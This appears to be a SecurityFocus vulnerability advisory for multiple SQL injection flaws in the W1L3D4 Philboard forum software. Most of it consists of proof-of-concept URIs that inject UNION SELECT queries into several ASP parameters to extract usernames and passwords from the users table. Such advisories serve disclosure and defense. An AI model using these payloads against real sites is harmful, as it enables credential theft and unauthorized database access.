W1L3D4 Philboard Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com:2222/lab/philboard_v5/admin/philboard_admin-forumedit.asp?forumid=1+union+select+0,username,password,4,5,1,1+from+users
http://www.example.com:2222/lab/philboard_v5/admin/philboard_admin-forum.asp?forumid=1+union+select+0,2,3,4,5,2,password,7,1,1,1,username,1,1,1,1,1,1,password+from+users
http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuoku.asp?id=1+union+select+0,1,2,3,4,5,6,1,1,1,1,1,1,1,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,8,9,1,1,1,1,1,1,1,1,1,1+from+users
http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuya_mesaj_yaz.asp?id=1+union+select+(password),username,password,password,4,1,1,1,null,1,password,password,password,password,password+from+users
http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuya_mesaj_yaz.asp?topic=1+union+select+0,1,username,3,password,5,6+from+users
http://www.example.com:2222/lab/philboard_v5/W1L3D4_foruma_yeni_konu_ac.asp?forumid=1+union+select+0,1,(username),(password),1,1+from+users


 

Privacy Statement
Copyright 2010, SecurityFocus